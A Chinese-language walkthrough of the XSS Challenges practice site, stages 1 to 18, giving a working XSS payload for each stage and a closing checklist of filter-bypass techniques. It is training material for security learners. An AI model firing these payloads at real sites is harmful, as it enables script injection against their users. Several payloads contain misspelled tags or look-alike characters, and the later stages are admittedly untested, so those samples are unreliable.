用最簡單的思路通過XSS Challenges 第1關到19關
前言
平台位址:http://xss-quiz.int21h.jp/
關鍵思路:
- 測試步驟和思路要清晰
- 随意輸入易辨認和定位的字元:如123、666等,再打開浏覽器的開發者模式,搜尋上述字元,定位我們可以控制的代碼所在的位置
- 确認被過濾或轉義的關鍵字
- 在合适位置被注入我們想要的代碼
- 搭配 burpsuite更絲滑
Stage #1
定位,搜尋框輸入123
發現輸出在b标簽裡,于是把b标簽和雙引号閉合掉
"</b> <script>alert(document.domain)</script>//
成功 XSS
小結
閉合b标簽,插入script标簽。
Stage #2
同樣123開局
發現注入點在一個 input 标簽的 value 屬性裡
前後閉合 input 标簽即可
"><script>alert(document.domain)</script><
當然插入屬性裡也是可以的
123" onmouseover=alert(document.domain) "
小結
屬性内和閉合标簽,是兩種正常的思路。
Stage #3
123開局
發現跟 stage1 相仿
嘗試
"</b> <script>alert(document.domain)</script>//
失敗
原因排查:
- 用于标簽構造的
被轉義了<>
- 用于比對掉雙引号的雙引号也被轉義
後面發現POST參數裡面除了p1還有 p2
那隻能嘗試 p2 注入
p1=1&p2=<script>alert(document.domain)</script>
成功 XSS
小結
某些站點僅對重要參數進行過濾,沒有全局過濾,導緻某些看起來“不重要”的參數存在注入風險。是以測試時最好每個參數都測試一下。
Stage #4
123開局
抓包發現參數 p3,這個參數在前端是沒有直接顯示的
在源代碼中查找 hackme
類似 stage2
p1=123&p2=Japan&p3="><script>alert(document.domain)</script><
當然屬性内插入也是可以的,不再重複。
小結
實戰場景裡面,測試某些“隐藏”的參數可能有驚喜。
Stage #5
123開局
檢視123的位置,同時發現前端有長度限制,直接修改其數值即可繞過
"><script>alert(document.domain)</script><
小結
某些站點僅對參數的長度做了前端的長度限制,不過這種限制形态虛設。
Stage #6
調整政策,開局先測試過濾了哪些字元,比如<>、script、on等
發現<>不可用
于是隻能插入屬性内了
" onmouseover=alert(document.domain)
當再次光标劃過搜尋框的時候成功 XSS
Stage #7
調整政策,開局先測試過濾了哪些字元,比如<>、script、on等
直接用 stage6 的 payload 就成功了
" onmouseover=alert(document.domain)
Stage #8
開局123
發現 123 被制作成a标簽
于是在a标簽中插入 JavaScript 僞連結即可
javascript:alert(document.domain);
成功 XSS
小結
實戰中,此類場景一般出現在接收使用者輸入用于制作友情連結。參考文章等。
Stage #9
輸入 123
抓包發現一個隐藏參數
euc-jp
查了下發現是日本編碼,需要使用 IE7 浏覽器
有個線上轉換網站供參考:www.novel.tools
于是構造payload
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-8
小結
此類站點很少碰到(國内),僅提供一個思路,即可以測試編碼繞過。
Stage #10
發現 domain 被過濾了,嘗試雙寫繞過
"><script>alert(document.dodomainmain)</script><
成功 XSS
小結
雙寫繞過。适用場景:domain 被過濾。
Stage #11
123開局
在 value 裡
script 和 onclick 都被過濾,無法在屬性内插入了,隻能閉合标簽,在用a标簽制作超連結
然後用
,
,空格等不可見字元對 script 進行分割
payload如下:
"><a href="javascr ipt:alert(document.domain);">點選跳轉</a>
成功 XSS
小結
編碼分割繞過。适用場景:javascript關鍵字被過濾掉。
Stage #12
開局先測試過濾了哪些字元,比如<>、script、on等
發現過濾了尖括号、雙引号、空格
百度發現,ie 浏覽器會把 `` 識别為雙引号
于是構造payload
`` οnclick=alert(document.domain)
`` οnmοuseοver=alert(document.domain);
沒有IE的盆友,想偷懶跳到下一關的話,前端自己插入xss語句即可。
小結
單引号繞過。僅适用于IE浏覽器的注入。
Stage #13
開局123
多了個 style
過濾了
<>
和
"
百度 style XSS,“行内樣式的動态特性”(即 ie 能在 css 中執行 js 代碼)
IE 浏覽器,IE11 無法執行,IE8 測試通過。
payload如下:
background:url(javascript:alert('xss'));
Stage #14
同 stage13
但過濾了 url,script,eval,expression
是以用注釋符打斷
payload如下:
expr\0ession(alert(document.domain));
expr/**/ession(alert(document.domain));
小結
注釋符分割繞過。
以下題目僅提供思路,本人沒有實際測試。
Stage #15
過濾了 document.write()
轉義了
<>
,
"
,
&
,
過濾了
\
是以雙寫
\
unicode 編碼或 16 進制編碼搞定
<>
,
"
,
&
16進制編碼
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode編碼 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
Stage #16
同 stage15
不過過濾了
\x
,即 16 進制不能用了
那就用 Unicode 和 8 進制
Unicode編碼 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
八進制 \\74img src=x οnerrοr=alert(document.domain)\\76
Stage #17
類似于 sql 注入的寬位元組注入
用 %A7(% 幾都行,隻要符合下面可以用來欺騙的編碼)加上雙引号的 %34
讓 html 自解碼機制誤認為這是寬位元組字元,進而弄掉雙引号。
- 半角片假名使用兩個位元組來表示:0x8E + 0xA1-0xDF
- JIS X 0208 字元使用兩個位元組來表示:0xA1-0xFE + 0xA1-0xFE
- JIS X 0212 字元使用三個位元組來表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
Stage #18
需要老 IE,可能得 IE5?看到有人說 IE6 不行
題意是将每個字元的二進制最高位置為 1,然後再轉為 16 進制
"><script>alert(document.domain)</scirpt>
轉換為
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
結語
根據本人的實際測試經驗,對于XSS漏洞,一般的、簡單的測試思路是(最常見的是輸入框文本框等接收使用者輸入的場景):
- 确認注入值所在的位置:随意輸入易辨認和定位的字元:如123、666等,再打開浏覽器的開發者模式,搜尋上述字元,定位所在标簽。
- 确認被過濾或轉義的關鍵字:如輸入
,檢視傳回的内容。on href javascirpt <> <script> </script> <scriscriptpt> <SCRIPT> <SCRSCRIPTIPT> <scr<sCRiPt>ipt>
- 選擇不閉合or閉合:根據被過濾或轉義的關鍵字,選擇屬性内插入事件語句還是閉合原标簽構造新标簽。當然可以兩種都可以直接嘗試。下面最常見的兩種payload(示例)
-
" onmouseover=alert(1) "
-
"><script>alert(1)</cript>
-
- 進一步嘗試繞過:常見的繞過思路有:
- 雙寫繞過
- 大小寫繞過
- 嵌入繞過
- 字元替換:如
被過濾了,可以使用alert
、console.log
、prompt
、confirm
、self['al'+'ert']
、parent['al'+'ert']
、frames['al'+'ert']
、window['al'+'ert']
等等繞過,比較靈活top["al"+"ert"]
- 編碼繞過:8、16進制編碼、Unicode編碼、HTML實體編碼
- 字元串拼接:如
<img src=1 onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
-
%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F','%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E','%1F', '%20'